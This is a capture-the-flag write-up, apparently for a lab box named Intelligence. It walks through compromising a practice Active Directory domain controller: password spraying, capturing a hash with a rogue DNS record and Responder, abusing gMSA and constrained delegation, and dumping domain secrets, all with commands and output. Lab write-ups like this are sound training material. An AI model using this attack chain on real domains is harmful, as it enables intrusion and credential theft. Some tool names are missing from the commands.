The initial portscan of this box reveals a number of open ports that suggest we are up against an Active Directory domain controller with a domain name of intelligence.htb.

# nmap -v -sSV -p- -oN nmap/intelligence.nmap

53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2021-11-26 04:48:41Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0....)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: intelligence.htb0...)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49692/tcp open  msrpc         Microsoft Windows RPC
49710/tcp open  msrpc         Microsoft Windows RPC
49714/tcp open  msrpc         Microsoft Windows RPC
61221/tcp open  msrpc         Microsoft Windows RPC

Exploring the Web Server

We decide to explore the web server first and after editing our /etc/hosts file we navigate to http://intelligence.htb and are greeted with the following page:

Scrolling through the site we see a couple of links on the home page to PDF files stored in a /documents subfolder and take note of the naming convention of these files: YYYY-MM-DD-upload.pdf

We quickly check to see if directory listings are enabled by navigating to http://intelligence.htb/documents/ but immediately get a 403 Forbidden error.

Before attempting to bruteforce other valid document names in this directory, we run gobuster to see if there are any other interesting directories on the web server.

$ gobuster dir -w /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://intelligence.htb/
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:                     http://intelligence.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
2021/11/26 10:04:03 Starting gobuster in directory enumeration mode
/documents            (Status: 301) [Size: 157] [--> http://intelligence.htb/documents/]

Bruteforcing File Names

Since gobuster didn’t return any other interesting results, we turn back to exploring the documents directory. We want to try brute forcing file names by following the YYYY-MM-DD-upload.pdf format we noticed in the two documents linked from the home page. We can leverage PowerShell on linux to generate a wordlist:

#!/usr/bin/pwsh -Command

$startDate = (Get-Date -Year 2020 -Month 1 -Day 1)
$Today = (Get-Date)

while ($startDate -lt $Today)
        $fileName = ($startdate.ToString("yyyy-MM-dd") + "-upload.pdf")
        Write-Output $fileName >> fileList.txt
        $startDate = $startDate.AddDays(1)

After running this script we have a list of possible PDF file names in fileList.txt. We can then write a simple bash script to attempt to download each of the files to see if we get anything:

[+] Downloaded http://intelligence.htb/documents/2020-01-01-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-02-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-04-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-10-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-20-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-22-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-23-upload.pdf
[+] Downloaded http://intelligence.htb/documents/2020-01-25-upload.pdf

Gathering Intelligence

We now have a directory full of PDF documents! Opening a few of the PDFs we see most of them contain text in Latin; however,we do find one with some interesting information: 2020-12-30-upload.pdf

Instead of manually opening up all the remaining PDF documents, we can install pdfgrep and start searching for interesting strings. After searching for the word ‘password’ in the documents we find another useful PDF: 2020-06-04-upload.pdf

We appear to have found a New Account guide which lists a default password!

Examining Metadata

Now that we have a password to use for password spraying we just need a list of valid user accounts. Since we have all of these PDF files we can check the metadata to see if we can find any names or information to build a list of users to try. Running pdfinfo on one of the documents we find the Creator field has a name in FIrstname.Lastname format.

We put together a quick one-liner to run pdfinfo against all the PDF files and extract the Creator field and then remove the duplicates to get a list of unique usernames:

$ for i in $(ls *.pdf); do pdfinfo $i | grep "^Creator"| cut -d ' ' -f 9 >> creators.txt; done
$ cat creators.txt | sort -u > users.txt

Validating Users & Password Spraying

We then run kerbrute using this user list to validate if these are valid Active Directory accounts:

After confirming these are valid accounts we proceed to password spraying using the default password previously discovered. We find an account (Tiffany.Molina@intelligence.htb) that still has this default password!

We take note of the clock skew error and update our time to match that of the target box:

# ntpdate -u intelligence.htb

Note: If you run into issues with getting ntpdate to sync due to the fact the clock skew is too great you may need to first set the date as close to the same time as you can manually using date -s “[DATE_STRING]” and then call ntpdate again to fine tune.

You can connect to port 5985 (WinRM) and use the timestamp from the header when manually setting the time:

# curl intelligence.htb:5985 -v
*   Trying
* Connected to intelligence.htb ( port 5985 (#0)
> GET / HTTP/1.1
> Host: intelligence.htb:5985
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
< Date: Sat, 27 Nov 2021 04:44:11 GMT

# date -s "Sat 27 Nov 2021 04:44:11 GMT"

Also, it may be necessary to stop the virtualbox-guest-utils service on your machine if running to prevent the changes from quickly getting reverted. Once the clocks are synced up we shouldn’t have further issues with Kerberos authentication.

Enumerating File Shares

Now that we have valid credentials we can try to enumerate SMB file shares using crackmapexec

It appears we have READ access to at least two non-standard shares: Users and IT. We begin by looking at the Users share.

$ smbclient -U Tiffany.Molina //intelligence.htb/Users
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> ls
  .                                  DR        0  Sun Apr 18 20:20:26 2021
  ..                                 DR        0  Sun Apr 18 20:20:26 2021
  Administrator                       D        0  Sun Apr 18 19:18:39 2021
  All Users                       DHSrn        0  Sat Sep 15 02:21:46 2018
  Default                           DHR        0  Sun Apr 18 21:17:40 2021
  Default User                    DHSrn        0  Sat Sep 15 02:21:46 2018
  desktop.ini                       AHS      174  Sat Sep 15 02:11:27 2018
  Public                             DR        0  Sun Apr 18 19:18:39 2021
  Ted.Graves                          D        0  Sun Apr 18 20:20:26 2021
  Tiffany.Molina                      D        0  Sun Apr 18 19:51:46 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> 

We explore around and find the user.txt flag for Tiffany Molina

smb: \> cd Tiffany.Molina\Desktop\
smb: \Tiffany.Molina\Desktop\> dir
  .                                  DR        0  Sun Apr 18 19:51:46 2021
  ..                                 DR        0  Sun Apr 18 19:51:46 2021
  user.txt                           AR       34  Fri Nov 26 19:24:25 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \Tiffany.Molina\Desktop\> get user.txt 
getting file \Tiffany.Molina\Desktop\user.txt of size 34 as user.txt (0.3 KiloBytes/sec) (average 0.3 KiloBytes/sec)

Next, we checkout the IT share and find an interesting PowerShell script named downdetector.ps1

$ smbclient -U Tiffany.Molina //intelligence.htb/IT
Enter WORKGROUP\Tiffany.Molina's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Sun Apr 18 19:50:55 2021
  ..                                  D        0  Sun Apr 18 19:50:55 2021
  downdetector.ps1                    A     1046  Sun Apr 18 19:50:55 2021

                3770367 blocks of size 4096. 1462014 blocks available
smb: \> get downdetector.ps1 
getting file \downdetector.ps1 of size 1046 as downdetector.ps1 (8.0 KiloBytes/sec) (average 8.0 KiloBytes/sec)
smb: \>

We examine the contents of the script:

$ cat downdetector.ps1 
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory 
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" | Where-Object Name -like "web*")  {
try {
$request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
if(.StatusCode -ne 200) {
Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' -To 'Ted Graves <Ted.Graves@intelligence.htb>' -Subject "Host: $($record.Name) is down"
} catch {}

This must be the script that was mentioned in the PDF we found earlier. If we are able to create a DNS record with “web” in the name we could point it at our machine and capture the credentials of the account running the script.

Capturing Ted’s Credentials

We start up responder:

# responder -v -I tun0

We then use to create a record for webpwnage2.intelligence.htb

$ python3 ./ -u 'intelligence.htb\Tiffany.Molina' -p 'NewIntelligenceCorpUser9876' -r 'webpwnage2.intelligence.htb' -d '' --action add
[-] Connecting to host...
[-] Binding to host
[+] Bind OK
./ DeprecationWarning: please use dns.resolver.Resolver.resolve() instead
  res = dnsresolver.query(zone, 'SOA')
[-] Adding new record
[+] LDAP operation completed successfully

Within a few minutes we capture the hash for user Ted.Graves in Responder:

We save the hash to a file named hash.txt and proceed to crack it with hashcat:

$ hashcat -m 5600 ./hash.txt /opt/wordlists/rockyou.txt --force
$ hashcat -m 5600 ./hash.txt --show

We try the cracked password with evil-winrm but are unable to get a shell.

AD Enumeration with Bloodhound

Next, we try running bloodhound-python to enumerate Active Directory further and attempt to identify an attack path.

$ bloodhound-python -c All -u Ted.Graves -p "Mr.Teddy" -d intelligence.htb -dc intelligence.htb --zip
WARNING: Could not find a global catalog server, assuming the primary DC has this role
If this gives errors, either specify a hostname with -gc or disable gc resolution with --disable-autogc
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: intelligence.htb
INFO: Found 42 users
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: svc_int.intelligence.htb
INFO: Querying computer: dc.intelligence.htb
INFO: Skipping enumeration for svc_int.intelligence.htb since it could not be resolved.
INFO: Done in 00M 05S
INFO: Compressing output into

After loading the .zip file into Bloodhound for analysis and marking the owned principals (the Ted.Graves & Tiffany.Molina accounts), we run the Bloodhound query for “Shortest Paths to Domain Admins from Owned Principals” and see the following:

The Ted.Graves account is a member of the security group ITSUPPORT which has the capabilities to read the Group Managed Service Account password for SVC_INT.

The SVC_INT service account in turn has constrained delegation privileges to the domain controller (dc.intelligence.htb). We can exploit this chain to ultimately achieve domain admin rights.

Exploiting the ReadGMSAPassword Rights & Constrained Delegation

We start the exploit chain by using a tool called gMSADumper to get the hash of the SVC_INT service account.

$ gMSADumper -u TED.GRAVES -p Mr.Teddy -d intelligence.htb -l

Next, we use the impacket to request a service ticket on behalf of the domain Administrator

$ python3 /opt/impacket/examples/ -spn www/dc.intelligence.htb -impersonate Administrator -hashes :b98d4cef68f72a98dfeed732d1b1abca -dc-ip 'intelligence.htb/svc_int$'
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating Administrator
[*]     Requesting S4U2self
[*]     Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache

Now that we have a ticket for the Administrator we can run to loot the domain and collect all the hashes!

$ export KRB5CCNAME=Administrator.ccache                                                                                                                                                                   
$ python3 /opt/impacket/examples/ -k -no-pass dc.intelligence.htb                                                                                                                            
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation                                                                                                                                                   
[*] Service RemoteRegistry is in stopped state                                                                                                                                                             
[*] Starting service RemoteRegistry                                                                                                                                                                        
[*] Target system bootKey: 0xcae14f646af6326ace0e1f5b8b4146df                                                                                                                                              
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)                                                                                                                                                       
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.                                                                                                   
[*] Dumping cached domain logon information (domain/username:hash)                                                                                                                                         
[*] Dumping LSA Secrets                                                                                                                                                                                    
[*] Using the DRSUAPI method to get NTDS.DIT secrets                                                                                                                                                       

Getting a Shell as Domain Admin

Finally, we can leverage Metasploit ‘s psexec module and the dumped Administrator’s hash to get a shell on the box as domain admin:

We can now capture the root flag!